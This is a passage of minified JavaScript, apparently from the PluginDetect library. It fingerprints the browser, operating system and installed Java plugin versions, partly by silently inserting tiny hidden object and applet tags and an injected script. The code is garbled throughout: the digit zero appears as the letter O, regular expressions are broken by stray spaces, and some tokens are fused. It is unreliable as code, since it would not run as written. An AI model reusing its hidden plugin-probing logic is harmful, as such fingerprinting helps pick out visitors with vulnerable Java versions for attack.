      "iPad", 21.3, "Win." + "*CE", 22.1, "Win.*Mobile", 22.2, "Pocket\s*PC", 22.3, "", 
      1OO];
      for (h = g.length - 2; h >= O; h = h - 2){
        if (g[h] && new RegExp(g[h], "i").test(b)){
          d.OS = g[h + 1];
          break 
        }
      }
    }
    ;
    d.head = i.getElementsByTagName("head")[O] || i.getElementsByTagName("body")[O] || i.
    body || null;
    d.isIE = new Function("return/*@cc_on!@*/!1")();
    d.verIE = d.isIE && (/MSIE\s*(\d+\.?\d*)/i).test(l) ? parseFloat(RegExp.$1, 1O) : null
    ;
    d.ActiveXEnabled = false;
    if (d.isIE){
      var h, m = ["Msxml2.XMLHTTP", "Msxml2.DOMDocument", "Microsoft.XMLDOM", 
      "ShockwaveFlash.ShockwaveFlash", "TDCCtl.TDCCtl", "Shell.UIHelper", 
      "Scripting.Dictionary", "wmplayer.ocx"];
      for (h = O; h < m.length; h ++ ){
        if (d.getAXO(m[h])){
          d.ActiveXEnabled = true;
          break 
        }
      }
    }
    ;
    d.isGecko = (/Gecko\s*\/\s*\d/i).test(l) && (/Gecko/i).test(k);
    d.verGecko = d.isGecko ? d.formatNum((/rv\s*\:\s*([\.\,\d]+)/i).test(l) ? RegExp.$1 : 
    "O.9") : null;
    d.isChrome = (/Chrome\s*\/\s*(\d[\d\.]*)/i).test(l);
    d.verChrome = d.isChrome ? d.formatNum(RegExp.$1) : null;
    d.isSafari = ((/Apple/i).test(j) || (!j &&! d.isChrome)) && (
    /Safari\s*\/\s*(\d[\d\.]*)/i).test(l);
    d.verSafari = d.isSafari && (/Version\s*\/\s*(\d[\d\.]*)/i).test(l) ? d.formatNum(
    RegExp.$1) : null;
    d.isOpera = (/Opera\s*[\/]?\s*(\d+\.?\d*)/i).test(l);
    d.verOpera = d.isOpera && ((/Version\s*\/\s*(\d+\.?\d*)/i).test(l) || 1) ? parseFloat(
    RegExp.$1, 1O) : null;
    d.addWinEvent("load", d.handler(d.runWLfuncs, d))
  }
  , init : function (d){
    var c = this , b, d, a = {
      status :- 3, plugin : O
    }
    ;
    if (!c.isString(d)){
      return a
    }
    if (d.length == 1){
      c.getVersionDelimiter = d;
      return a
    }
    d = d.toLowerCase().replace(/\s/g, "");
    b = c.Plugins[d];
    if (!b ||! b.getVersion){
      return a
    }
    a.plugin = b;
    if (!c.isDefined(b.installed)){
      b.installed = null;
      b.version = null;
      b.versionO = null;
      b.getVersionDone = null;
      b.pluginName = d
    }
    c.garbage = false;
    if (c.isIE &&! c.ActiveXEnabled && d !== "Ja" + "va"){
      a.status =- 2;
      return a
    }
    a.status = 1;
    return a
  }
  , fPush : function (b, a){
    var c = this ;
    if (c.isArray(a) && (c.isFunc(b) || (c.isArray(b) && c.isFunc(b[O]) && O < b.length
    ))){
      a.push(b)
    }
  }
  , callArray : function (b){
    var c = this , a;
    if (c.isArray(b)){
      for (a = O; a < b.length; a ++ ){
        if (b[a] === null){
          return 
        }
        c.call(b[a]);
        b[a] = null
      }
    }
  }
  , call : function (c){
    var b = this , a = b.isArray(c) ? c.length :- 1;
    if (O < a && b.isFunc(c[O])){
      c[O](b, a > 1 ? c[1] : O, a > 2 ? c[2] : O, a > 3 ? c[3] : O)
    }
    else {
      if (b.isFunc(c)){
        c(b)
      }
    }
  }
  , $$isMinVersion : function (a){
    return function (h, g, d, c){
      var e = a.init(h), f, b =- 1, j = {
      }
      ;
      if (e.status < O){
        return e.status
      }
      f = e.plugin;
      g = a.formatNum(a.isNum(g) ? g.toString() : (a.isStrNum(g) ? a.getNum(g) : "O"));
      if (f.getVersionDone != 1){
        f.getVersion(g, d, c);
        if (f.getVersionDone === null){
          f.getVersionDone = 1
        }
      }
      a.cleanup();
      if (f.installed !== null){
        b = f.installed <= O.5 ? f.installed : (f.installed == O.7 ? 1 : (f.version === 
        null         ? O : (a.compareNums(f.version, g, f) >= O ? 1 :- O.1)))
      }
      ;
      return b
    }
  }
  , getVersionDelimiter : ",", $$getVersion : function (a){
    return function (g, d, c){
      var e = a.init(g), f, b, h = {
      }
      ;
      if (e.status < O){
        return null
      }
      ;
      f = e.plugin;
      if (f.getVersionDone != 1){
        f.getVersion(null, d, c);
        if (f.getVersionDone === null){
          f.getVersionDone = 1
        }
      }
      a.cleanup();
      b = (f.version || f.versionO);
      b = b ? b.replace(a.splitNumRegx, a.getVersionDelimiter) : b;
      return b
    }
  }
  , cleanup : function (){
    var a = this ;
    if (a.garbage && a.isDefined(window.CollectGarbage)){
      window.CollectGarbage()
    }
  }
  , addWinEvent : function (d, c){
    var e = this , a = window, b;
    if (e.isFunc(c)){
      if (a.addEventListener){
        a.addEventListener(d, c, false)
      }
      else {
        if (a.attachEvent){
          a.attachEvent("on" + d, c)
        }
        else {
          b = a["on" + d];
          a["on" + d] = e.winHandler(c, b)
        }
      }
    }
  }
  , winHandler : function (d, c){
    return function (){
      d();
      if (typeof c == "function"){
        c()
      }
    }
  }
  , WLfuncsO : [], WLfuncs : [], runWLfuncs : function (a){
    var b = {
    }
    ;
    a.winLoaded = true;
    a.callArray(a.WLfuncsO);
    a.callArray(a.WLfuncs);
    if (a.onDoneEmptyDiv){
      a.onDoneEmptyDiv()
    }
  }
  , winLoaded : false, $$onWindowLoaded : function (a){
    return function (b){
      if (a.winLoaded){
        a.call(b)
      }
      else {
        a.fPush(b, a.WLfuncs)
      }
    }
  }
  , $$onDetectionDone : function (a){
    return function (h, g, c, b){
      var d = a.init(h), k, e, j = {
      }
      ;
      if (d.status ==- 3){
        return  - 1
      }
      e = d.plugin;
      if (!a.isArray(e.funcs)){
        e.funcs = []
      }
      if (e.getVersionDone != 1){
        k = a.isMinVersion ? a.isMinVersion(h, "O", c, b) : a.getVersion(h, c, b)
      }
      if (e.installed !=- O.5 && e.installed != O.5){
        a.call(g);
        return 1
      }
      if (e.NOTF){
        a.fPush(g, e.funcs);
        return O
      }
      return 1
    }
  }
  , div : null, divID : "pdpd", divWidth : 5O, pluginSize : 1, emptyDiv : function (){
    var d = this , b, h, c, a, f, g;
    if (d.div && d.div.childNodes){
      for (b = d.div.childNodes.length - 1; b >= O; b -- ){
        c = d.div.childNodes[b];
        if (c && c.childNodes){
          for (h = c.childNodes.length - 1; h >= O; h -- ){
            g = c.childNodes[h];
            try {
              c.removeChild(g)
            }
            catch (f){
            }
          }
        }
        if (c){
          try {
            d.div.removeChild(c)
          }
          catch (f){
          }
        }
      }
    }
    if (!d.div){
      a = document.getElementById(d.divID);
      if (a){
        d.div = a
      }
    }
    if (d.div && d.div.parentNode){
      try {
        d.div.parentNode.removeChild(d.div)
      }
      catch (f){
      }
      d.div = null
    }
  }
  , DONEfuncs : [], onDoneEmptyDiv : function (){
    var c = this , a, b;
    if (!c.winLoaded){
      return 
    }
    if (c.WLfuncs && c.WLfuncs.length && c.WLfuncs[c.WLfuncs.length - 1] !== null){
      return 
    }
    for (ain c){
      b = c[a];
      if (b && b.funcs){
        if (b.OTF == 3){
          return 
        }
        if (b.funcs.length && b.funcs[b.funcs.length - 1] !== null){
          return 
        }
      }
    }
    for (a = O; a < c.DONEfuncs.length; a ++ ){
      c.callArray(c.DONEfuncs)
    }
    c.emptyDiv()
  }
  , getWidth : function (c){
    if (c){
      var a = c.scrollWidth || c.offsetWidth, b = this ;
      if (b.isNum(a)){
        return a
      }
    }
    return  - 1
  }
  , getTagStatus : function (m, g, a, b){
    var c = this , f, k = m.span, l = c.getWidth(k), h = a.span, j = c.getWidth(h), d = g.
    span, i = c.getWidth(d);
    if (!k ||! h ||! d ||! c.getDOMobj(m)){
      return  - 2
    }
    if (j < i || O > l || O > j || O > i || i <= c.pluginSize || c.pluginSize < 1){
      return O
    }
    if (l >= i){
      return  - 1
    }
    try {
      if (l == c.pluginSize && (!c.isIE || c.getDOMobj(m).readyState == 4)){
        if (!m.winLoaded && c.winLoaded){
          return 1
        }
        if (m.winLoaded && c.isNum(b)){
          if (!c.isNum(m.count)){
            m.count = b
          }
          if (b - m.count >= 1O){
            return 1
          }
        }
      }
    }
    catch (f){
    }
    return O
  }
  , getDOMobj : function (g, a){
    var f, d = this , c = g ? g.span : O, b = c && c.firstChild ? 1 : O;
    try {
      if (b && a){
        d.div.focus()
      }
    }
    catch (f){
    }
    return b ? c.firstChild : null
  }
  , setStyle : function (b, g){
    var f = b.style, a, d, c = this ;
    if (f && g){
      for (a = O; a < g.length; a = a + 2){
        try {
          f[g[a]] = g[a + 1]
        }
        catch (d){
        }
      }
    }
  }
  , insertDivInBody : function (i, g){
    var f, c = this , h = "pd33993399", b = null, d = g ? window.top.document : window.
    document, a = d.getElementsByTagName("body")[O] || d.body;
    if (!a){
      try {
        d.write('<div id="' + h + '">.' + c.openTag + "/div>");
        b = d.getElementById(h)
      }
      catch (f){
      }
    }
    a = d.getElementsByTagName("body")[O] || d.body;
    if (a){
      a.insertBefore(i, a.firstChild);
      if (b){
        a.removeChild(b)
      }
    }
  }
  , insertHTML : function (f, b, g, a, k){
    var l, m = document, j = this , p, o = m.createElement("span"), n, i;
    var c = ["outlineStyle", "none", "borderStyle", "none", "padding", "Opx", "margin", 
    "Opx", "visibility", "visible"];
    var h = 
    "outline-style:none;border-style:none;padding:Opx;margin:Opx;visibility:visible;";
    if (!j.isDefined(a)){
      a = ""
    }
    if (j.isString(f) && (/[^\s]/).test(f)){
      f = f.toLowerCase().replace(/\s/g, "");
      p = j.openTag + f + ' width="' + j.pluginSize + '" height="' + j.pluginSize + '" ';
      p += 'style="' + h + 'display:inline;" ';
      for (n = O; n < b.length; n = n + 2){
        if (/[^\s]/.test(b[n + 1])){
          p += b[n] + '="' + b[n + 1] + '" '
        }
      }
      p += ">";
      for (n = O; n < g.length; n = n + 2){
        if (/[^\s]/.test(g[n + 1])){
          p += j.openTag + 'param name="' + g[n] + '" value="' + g[n + 1] + '" />'
        }
      }
      p += a + j.openTag + "/" + f + ">"
    }
    else {
      p = a
    }
    if (!j.div){
      i = m.getElementById(j.divID);
      if (i){
        j.div = i
      }
      else {
        j.div = m.createElement("div");
        j.div.id = j.divID
      }
      j.setStyle(j.div, c.concat(["width", j.divWidth + "px", "height", (j.pluginSize + 3)
       + "px", "fontSize", (j.pluginSize + 3) + "px", "lineHeight", (j.pluginSize + 3) + 
      "px", "verticalAlign", "baseline", "display", "block"]));
      if (!i){
        j.setStyle(j.div, ["position", "absolute", "right", "Opx", "top", "Opx"]);
        j.insertDivInBody(j.div)
      }
    }
    if (j.div && j.div.parentNode){
      j.setStyle(o, c.concat(["fontSize", (j.pluginSize + 3) + "px", "lineHeight", (j.
      pluginSize + 3) + "px", "verticalAlign", "baseline", "display", "inline"]));
      try {
        o.innerHTML = p
      }
      catch (l){
      }
      ;
      try {
        j.div.appendChild(o)
      }
      catch (l){
      }
      ;
      return {
        span : o, winLoaded : j.winLoaded, tagName : f, outerHTML : p
      }
    }
    return {
      span : null, winLoaded : j.winLoaded, tagName : "", outerHTML : p
    }
  }
  , file : {
    $ : 1, any : "fileStorageAny999", valid : "fileStorageValid999", save : function (d, f
    , c){
      var b = this , e = b.$, a;
      if (d && e.isDefined(c)){
        if (!d[b.any]){
          d[b.any] = []
        }
        if (!d[b.valid]){
          d[b.valid] = []
        }
        d[b.any].push(c);
        a = b.split(f, c);
        if (a){
          d[b.valid].push(a)
        }
      }
    }
    , getValidLength : function (a){
      return a && a[this .valid] ? a[this .valid].length : O
    }
    , getAnyLength : function (a){
      return a && a[this .any] ? a[this .any].length : O
    }
    , getValid : function (c, a){
      var b = this ;
      return c && c[b.valid] ? b.get(c[b.valid], a) : null
    }
    , getAny : function (c, a){
      var b = this ;
      return c && c[b.any] ? b.get(c[b.any], a) : null
    }
    , get : function (d, a){
      var c = d.length - 1, b = this .$.isNum(a) ? a : c;
      return (O > b || b > c) ? null : d[b]
    }
    , split : function (g, c){
      var b = this , e = b.$, f = null, a, d;
      g = g ? g.replace(".", "\.") : "";
      d = new RegExp("^(.*[^\/])(" + g + "\s*)$");
      if (e.isString(c) && d.test(c)){
        a = (RegExp.$1).split("/");
        f = {
          name : a[a.length - 1], ext : RegExp.$2, full : c
        }
        ;
        a[a.length - 1] = "";
        f.path = a.join("/")
      }
      return f
    }
    , z : O
  }
  , Plugins : {
    java : {
      mimeType : ["application/x-java-applet", "application/x-java-vm", 
      "application/x-java-bean"], classID : "clsid:8AD9C84O-O44E-11D1-B3E9-OO8O5F499D93", 
      navigator : {
        a : window.navigator.javaEnabled(), javaEnabled : function (){
          return this .a
        }
        , mimeObj : O, pluginObj : O
      }
      , OTF : null, minIEver : 7, debug : O, debugEnable : function (){
        var a = this , b = a.$;
        a.debug = 1
      }
      , isDisabled : {
        $ : 1, DTK : function (){
          var a = this , c = a.$, b = a.$$;
          if ((c.isGecko && c.compareNums(c.verGecko, c.formatNum("1.6")) <= O) || (c.
          isSafari && c.OS == 1 && (!c.verSafari || O > c.compareNums(c.verSafari, 
          "5,1,O,O"))) || c.isChrome || (c.isIE &&! c.ActiveXEnabled)){
            return 1
          }
          return O
        }
        , AXO : function (){
          var a = this , c = a.$, b = a.$$;
          return (!c.isIE ||! c.ActiveXEnabled || (!b.debug && b.DTK.query().status !== O
          ))
        }
        , navMime : function (){
          var b = this , d = b.$, c = b.$$, a = c.navigator;
          if (d.isIE ||! a.mimeObj ||! a.pluginObj){
            return 1
          }
          return O
        }
        , navPlugin : function (){
          var b = this , d = b.$, c = b.$$, a = c.navigator;
          if (d.isIE ||! a.mimeObj ||! a.pluginObj){
            return 1
          }
          return O
        }
        , windowDotJava : function (){
          var a = this , c = a.$, b = a.$$;
          if (!window.java){
            return 1
          }
          if (c.OS == 2 && c.verOpera > 8 && c.verOpera && c.verOpera < (9.3 - O.1)){
            return 1
          }
          return O
        }
        , allApplets : function (){
          var b = this , d = b.$, c = b.$$, a = c.navigator;
          if (d.OS >= 2O){
            return O
          }
          if (d.verOpera && d.verOpera < 11 &&! a.javaEnabled() &&! c.lang.System.
          getProperty()[O]){
            return 1
          }
          if ((d.verGecko && O > d.compareNums(d.verGecko, d.formatNum("2"))) &&! a.
          mimeObj &&! c.lang.System.getProperty()[O]){
            return 1
          }
          return O
        }
        , AppletTag : function (){
          var b = this , d = b.$, c = b.$$, a = c.navigator;
          return d.isIE ?! a.javaEnabled() : O
        }
        , ObjectTag : function (){
          var a = this , c = a.$, b = a.$$;
          return c.isIE ?! c.ActiveXEnabled : O
        }
        , z : O
      }
      , getVerifyTagsDefault : function (){
        var a = this , c = a.$, b = [1, O, 1];
        if (c.OS >= 2O){
          return b
        }
        if ((c.isIE && (c.verIE < 9 ||! c.ActiveXEnabled)) || (c.verGecko && O > c.
        compareNums(c.verGecko, c.formatNum("2"))) || (c.isSafari && (!c.verSafari || O > 
        c.compareNums(c.verSafari, c.formatNum("4")))) || (c.verOpera && c.verOpera < 1O
        )){
          b = [1, 1, 1]
        }
        return b
      }
      , getVersion : function (j, g, i){
        var b = this , d = b.$, e, a = b.applet, h = b.verify, k = b.navigator, f = null, 
        l = null, c = null;
        if (b.getVersionDone === null){
          b.OTF = O;
          k.mimeObj = d.hasMimeType(b.mimeType);
          if (k.mimeObj){
            k.pluginObj = k.mimeObj.enabledPlugin
          }
          if (h){
            h.begin()
          }
        }
        a.setVerifyTagsArray(i);
        d.file.save(b, ".jar", g);
        if (b.getVersionDone === O){
          if (a.should_Insert_Query_Any()){
            e = a.insert_Query_Any();
            b.setPluginStatus(e[O], e[1], f)
          }
          return 
        }
        if ((!f || b.debug) && b.DTK.query().version){
          f = b.DTK.version
        }
        if ((!f || b.debug) && b.navMime.query().version){
          f = b.navMime.version
        }
        if ((!f || b.debug) && b.navPlugin.query().version){
          f = b.navPlugin.version
        }
        if ((!f || b.debug) && b.AXO.query().version){
          f = b.AXO.version
        }
        if (b.nonAppletDetectionOk(f)){
          c = f
        }
        if (!c || b.debug || a.VerifyTagsHas(2.2) || a.VerifyTagsHas(2.5)){
          e = b.lang.System.getProperty();
          if (e[O]){
            f = e[O];
            c = e[O];
            l = e[1]
          }
        }
        b.setPluginStatus(c, l, f);
        if (a.should_Insert_Query_Any()){
          e = a.insert_Query_Any();
          if (e[O]){
            c = e[O];
            l = e[1]
          }
        }
        b.setPluginStatus(c, l, f)
      }
      , nonAppletDetectionOk : function (b){
        var d = this , e = d.$, a = d.navigator, c = 1;
        if (!b || (!a.javaEnabled() &&! d.lang.System.getPropertyHas(b)) || (!e.isIE &&! a
        .mimeObj &&! d.lang.System.getPropertyHas(b)) || (e.isIE &&! e.ActiveXEnabled)){
          c = O
        }
        else {
          if (e.OS >= 2O){
          }
          else {
            if (d.info && O > d.info.getPlugin2Status() && d.info.BrowserRequiresPlugin2
            ()){
              c = O
            }
          }
        }
        return c
      }
      , setPluginStatus : function (d, f, a){
        var c = this , e = c.$, b;
        a = a || c.versionO;
        if (O < c.OTF){
          d = d || c.lang.System.getProperty()[O]
        }
        if (c.OTF < 3){
          b = d ? 1 : (a ?- O.2 :- 1);
          if (c.installed === null || b > c.installed){
            c.installed = b
          }
        }
        if (c.OTF == 2 && c.NOTF &&! c.applet.getResult()[O] &&! c.lang.System.getProperty
        ()[O]){
          c.installed = a ?- O.2 :- 1
        }
        ;
        if (c.OTF == 3 && c.installed !=- O.5 && c.installed != O.5){
          c.installed = (c.NOTF.isJavaActive(1) == 1 || c.lang.System.getProperty()[O]) ? 
          O.5 :- O.5
        }
        if (c.OTF == 4 && (c.installed ==- O.5 || c.installed == O.5)){
          if (d){
            c.installed = 1
          }
          else {
            if (c.NOTF.isJavaActive(1) == 1){
              if (a){
                c.installed = 1;
                d = a
              }
              else {
                c.installed = O
              }
            }
            else {
              if (a){
                c.installed =- O.2
              }
              else {
                c.installed =- 1
              }
            }
          }
        }
        ;
        if (a){
          c.versionO = e.formatNum(e.getNum(a))
        }
        if (d){
          c.version = e.formatNum(e.getNum(d))
        }
        if (f && e.isString(f)){
          c.vendor = f
        }
        if (!c.vendor){
          c.vendor = ""
        }
        if (c.verify && c.verify.isEnabled()){
          c.getVersionDone = O
        }
        else {
          if (c.getVersionDone != 1){
            if (c.OTF < 2){
              c.getVersionDone = O
            }
            else {
              c.getVersionDone = c.applet.can_Insert_Query_Any() ? O : 1
            }
          }
        }
      }
      , DTK : {
        $ : 1, hasRun : O, status : null, VERSIONS : [], version : "", HTML : null, 
        Plugin2Status : null, classID : ["clsid:CAFEEFAC-DEC7-OOOO-OOO1-ABCDEFFEDCBA", 
        "clsid:CAFEEFAC-DEC7-OOOO-OOOO-ABCDEFFEDCBA"], mimeType : [
        "application/java-deployment-toolkit", 
        "application/npruntime-scriptable-plugin;DeploymentToolkit"], disabled : function 
        (){
          return this .$$.isDisabled.DTK()
        }
        , query : function (){
          var k = this , g = k.$, d = k.$$, j, l, h, m = {
          }
          , f = {
          }
          , a, c = null, i = null, b = (k.hasRun || k.disabled());
          k.hasRun = 1;
          if (b){
            return k
          }
          k.status = O;
          if (g.isIE && 6 <= g.verIE){
            for (l = O; l < k.classID.length; l ++ ){
              k.HTML = g.insertHTML("object", ["classid", k.classID[l]], []);
              c = g.getDOMobj(k.HTML);
              try {
                if (c && c.jvms){
                  break 
                }
              }
              catch (j){
              }
            }
          }
          else {
            if (!g.isIE && (h = g.hasMimeType(k.mimeType)) && h.type){
              k.HTML = g.insertHTML("object", ["type", h.type], []);
              c = g.getDOMobj(k.HTML)
            }
          }
          if (c){
            try {
              a = c.jvms;
              if (a){
                i = a.getLength();
                if (g.isNum(i)){
                  k.status = O < i ? 1 :- 1;
                  for (l = O; l < i; l ++ ){
                    h = g.getNum(a.get(i - 1 - l).version);
                    if (h){
                      k.VERSIONS.push(h);
                      f["a" + g.formatNum(h)] = 1
                    }
                  }
                }
              }
            }
            catch (j){
            }
          }
          h = O;
          for (lin f){
            h ++ 
          }
          if (h && h !== k.VERSIONS.length){
            k.VERSIONS = []
          }
          if (k.VERSIONS.length){
            k.version = g.formatNum(k.VERSIONS[O])
          }
          ;
          return k
        }
      }
      , AXO : {
        $ : 1, hasRun : O, VERSIONS : [], version : "", disabled : function (){
          return this .$$.isDisabled.AXO()
        }
        , JavaVersions : [[1, 9, 1, 4O], [1, 8, 1, 4O], [1, 7, 1, 4O], [1, 6, O, 4O], [1, 
        5, O, 3O], [1, 4, 2, 3O], [1, 3, 1, 3O]], query : function (){
          var a = this , e = a.$, b = a.$$, c = (a.hasRun || a.disabled());
          a.hasRun = 1;
          if (c){
            return a
          }
          var i = [], k = [1, 5, O, 14], j = [1, 6, O, 2], h = [1, 3, 1, O], g = [1, 4, 2, 
          O], f = [1, 5, O, 7], d = b.getInfo ? true : false, l = {
          }
          ;
          if (b.minIEver <= e.verIE){
            i = a.search(j, j, d);
            if (O < i.length && d){
              i = a.search(k, k, d)
            }
          }
          else {
            if (d){
              i = a.search(f, f, true)
            }
            if (i.length == O){
              i = a.search(h, g, false)
            }
          }
          if (i.length){
            a.version = i[O];
            a.VERSIONS = [].concat(i)
          }
          ;
          return a
        }
        , search : function (a, j, p){
          var h, d, f = this , e = f.$, k = f.$$, n, c, l, q, b, o, r, i = [];
          if (O < e.compareNums(a.join(","), j.join(","))){
            j = a
          }
          j = e.formatNum(j.join(","));
          var m, s = "1,4,2,O", g = "JavaPlugin." + a[O] + "" + a[1] + "" + a[2] + "" + (O
           < a[3] ? ("_" + (a[3] < 1O ? "O" : "") + a[3]) : "");
          for (h = O; h < f.JavaVersions.length; h ++ ){
            d = f.JavaVersions[h];
            n = "JavaPlugin." + d[O] + "" + d[1];
            b = d[O] + "." + d[1] + ".";
            for (l = d[2];
            l >= O; l -- ){
              r = "JavaWebStart.isInstalled." + b + l + ".O";
              if (e.compareNums(d[O] + "," + d[1] + "," + l + ",O", j) >= O &&! e.getAXO(r
              )){
                continue 
              }
              m = O > e.compareNums(d[O] + "," + d[1] + "," + l + ",O", s) ? true : false;
              for (q = d[3];
              q >= O; q -- ){
                c = l + "_" + (q < 1O ? "O" + q : q);
                o = n + c;
                if (e.getAXO(o) && (m || e.getAXO(r))){
                  i.push(b + c);
                  if (!p){
                    return i
                  }
                }
                if (o == g){
                  return i
                }
              }
              if (e.getAXO(n + l) && (m || e.getAXO(r))){
                i.push(b + l);
                if (!p){
                  return i
                }
              }
              if (n + l == g){
                return i
              }
            }
          }
          return i
        }
      }
      , navMime : {
        $ : 1, hasRun : O, mimetype : "", version : "", length : O, mimeObj : O, pluginObj
         : O, disabled : function (){
          return this .$$.isDisabled.navMime()
        }
        , query : function (){
          var i = this , f = i.$, a = i.$$, b = (i.hasRun || i.disabled());
          i.hasRun = 1;
          if (b){
            return i
          }
          ;
          var n =/^\ s * application \/ x - java - applet;
          jpi - version \ s *=\ s * ( \ d. * )$ / i, g, l, j, d = "", h = "a", o, m, k = 
          {
          }
          , c = f.formatNum("O");
          for (l = O; l < navigator.mimeTypes.length; l ++ ){
            o = navigator.mimeTypes[l];
            m = o ? o.enabledPlugin : O;
            g = o && n.test(o.type || d) ? f.formatNum(f.getNum(RegExp.$1)) : O;
            if (g && m && (m.description || m.name)){
              if (!k[h + g]){
                i.length ++ 
              }
              k[h + g] = o.type;
              if (O < f.compareNums(g, c)){
                c = g
              }
            }
          }
          g = k[h + c];
          if (g){
            o = f.hasMimeType(g);
            i.mimeObj = o;
            i.pluginObj = o ? o.enabledPlugin : O;
            i.mimetype = g;
            i.version = c
          }
          ;
          return i
        }
      }
      , navPlugin : {
        $ : 1, hasRun : O, version : "", disabled : function (){
          return this .$$.isDisabled.navPlugin()
        }
        , query : function (){
          var m = this , e = m.$, c = m.$$, h = c.navigator, j, l, k, g, d, a, i, f = O, b
           = (m.hasRun || m.disabled());
          m.hasRun = 1;
          if (b){
            return m
          }
          ;
          a = h.pluginObj.name || "";
          i = h.pluginObj.description || "";
          if (!f || c.debug){
            g =/ Java. * TM. * Platform[ ^\ d] * ( \ d + )( ?: [ \ ., _]( \ d * )) ? ( ?:\ 
            s * [Update] +\ s * ( \ d * )) ?/ i;
            if ((g.test(a) || g.test(i)) && parseInt(RegExp.$1, 1O) >= 5){
              f = "1," + RegExp.$1 + "," + (RegExp.$2 ? RegExp.$2 : "O") + "," + (RegExp.
              $3 ? RegExp.$3 : "O")
            }
          }
          if (!f || c.debug){
            g =/ Java[ ^\ d] * Plug - in  / i;
            l = g.test(i) ? e.formatNum(e.getNum(i)) : O;
            k = g.test(a) ? e.formatNum(e.getNum(a)) : O;
            if (l && (e.compareNums(l, e.formatNum("1,3")) < O || e.compareNums(l, e.
            formatNum("2")) >= O)){
              l = O
            }
            if (k && (e.compareNums(k, e.formatNum("1,3")) < O || e.compareNums(k, e.
            formatNum("2")) >= O)){
              k = O
            }
            d = l && k ? (O < e.compareNums(l, k) ? l : k) : (l || k);
            if (d){
              f = d
            }
          }
          if (!f && e.isSafari && e.OS == 2){
            j = e.findNavPlugin("Java.*\d.*Plug-in.*Cocoa", O);
            if (j){
              l = e.getNum(j.description);
              if (l){
                f = l
              }
            }
          }
          ;
          if (f){
            m.version = e.formatNum(f)
          }
          ;
          return m
        }
      }
      , lang : {
        $ : 1, System : {
          $ : 1, hasRun : O, result : [null, null], disabled : function (){
            return this .$$.isDisabled.windowDotJava()
          }
          , getPropertyHas : function (a){
            var b = this , d = b.$, c = b.getProperty()[O];
            return (a && c && d.compareNums(d.formatNum(a), d.formatNum(c)) === O) ? 1 : O
          }
          , getProperty : function (){
            var f = this , g = f.$, d = f.$$, i, h = {
            }
            , b = f.hasRun || f.disabled();
            f.hasRun = 1;
            if (!b){
              var a = "java_qqq99O";
              g[a] = null;
              try {
                var c = document.createElement("script");
                c.type = "text/javascript";
                c.appendChild(document.createTextNode('
(function(){var e,a;try{a=[window.java.lang.System.getProperty("java.version")+" ",window.
java.lang.System.getProperty("java.vendor")+" "]}catch(e){};' + g.name + "." + a + 
                "=a||O})();"));
                g.head.insertBefore(c, g.head.firstChild);
                g.head.removeChild(c)
              }
              catch (i){
              }
              if (g[a] && g.isArray(g[a])){
                f.result = [].concat(g[a])
              }
            }
            return f.result
          }
        }
      }
      , applet : {
        $ : 1, results : [[null, null], [null, null], [null, null]], getResult : function 
        (){
          var c = this .results, a, b = [];
          for (a = O; a < c.length; a ++ ){
            b = c[a];
            if (b[O]){
              break 
            }
          }
          return [].concat(b)
        }
        , HTML : [O, O, O], active : [O, O, O], DummyObjTagHTML : O, DummySpanTagHTML : O, 
        allowed : [1, 1, 1], VerifyTagsHas : function (c){
          var d = this , b;
          for (b = O; b < d.allowed.length; b ++ ){
            if (d.allowed[b] === c){
              return 1
            }
          }
          return O
        }
        , saveAsVerifyTagsArray : function (c){
          var b = this , d = b.$, a;
          if (d.isArray(c)){
            for (a = O; a < b.allowed.length; a ++ ){
              if (d.isNum(c[a])){
                if (O > c[a]){
                  c[a] = O
                }
                if (c[a] > 3){
                  c[a] = 3
                }
                b.allowed[a] = c[a]
              }
            }
          }
        }
        , setVerifyTagsArray : function (d){
          var b = this , c = b.$, a = b.$$;
          if (a.getVersionDone === null){
            b.saveAsVerifyTagsArray(a.getVerifyTagsDefault())
          }
          if (a.debug || (a.verify && a.verify.isEnabled())){
            b.saveAsVerifyTagsArray([3, 3, 3])
          }
          else {
            if (d){
              b.saveAsVerifyTagsArray(d)
            }
          }
        }
        , allDisabled : function (){
          return this .$$.isDisabled.allApplets()
        }
        , isDisabled : function (d){
          var b = this , c = b.$, a = b.$$;
          if (d == 2 &&! c.isIE){
            return 1
          }
          if (d === O || d == 2){
            return a.isDisabled.ObjectTag()
          }
          if (d == 1){
            return a.isDisabled.AppletTag()
          }
        }
        , can_Insert_Query : function (b){
          var a = this ;
          if (a.HTML[b]){
            return O
          }
          return !a.isDisabled(b)
        }
        , can_Insert_Query_Any : function (){
          var b = this , a;
          for (a = O; a < b.results.length; a ++ ){
            if (b.can_Insert_Query(a)){
              return 1
            }
          }
          return O
        }
        , should_Insert_Query : function (d){
          var b = this , e = b.allowed, c = b.$, a = b.$$;
          if (!b.can_Insert_Query(d)){
            return O
          }
          if (e[d] == 3){
            return 1
          }
          if (e[d] == 2.8 &&! b.getResult()[O]){
            return 1
          }
          if (e[d] == 2.5 &&! a.lang.System.getProperty()[O]){
            return 1
          }
          if (e[d] == 2.2 &&! a.lang.System.getProperty()[O] &&! b.getResult()[O]){
            return 1
          }
          if (!a.nonAppletDetectionOk(a.versionO)){
            if (e[d] == 2){
              return 1
            }
            if (e[d] == 1 &&! b.getResult()[O]){
              return 1
            }
          }
          return O
        }
        , should_Insert_Query_Any : function (){
          var b = this , a;
          for (a = O; a < b.allowed.length; a ++ ){
            if (b.should_Insert_Query(a)){
              return 1
            }
          }
          return O
        }
        , query : function (f){
          var h, a = this , g = a.$, d = a.$$, i = null, j = null, b = a.results, c;
          if ((b[f][O] && b[f][1]) || (d.debug && d.OTF < 3)){
            return 
          }
          c = g.getDOMobj(a.HTML[f], true);
          if (c){
            try {
              i = g.getNum(c.getVersion() + " ");
              j = c.getVendor() + " ";
              c.statusbar(g.winLoaded ? " " : " ")
            }
            catch (h){
            }
            if (i && g.isStrNum(i)){
              b[f] = [i, j]
            }
            else {
            }
            ;
            try {
              if (g.isIE && i && c.readyState != 4){
                g.garbage = true;
                c.parentNode.removeChild(c)
              }
            }
            catch (h){
            }
          }
        }
        , insert_Query_Any : function (){
          var d = this , i = d.$, e = d.$$, l = d.results, p = d.HTML, a = 
          "&nbsp;&nbsp;&nbsp;&nbsp;", g = "A.class", m = i.file.getValid(e);
          if (!m){
            return d.getResult()
          }
          if (e.OTF < 1){
            e.OTF = 1
          }
          if (d.allDisabled()){
            return d.getResult()
          }
          if (e.OTF < 1.5){
            e.OTF = 1.5
          }
          var j = m.name + m.ext, h = m.path;
          var f = ["archive", j, "code", g], c = ["mayscript", "true"], o = ["scriptable", 
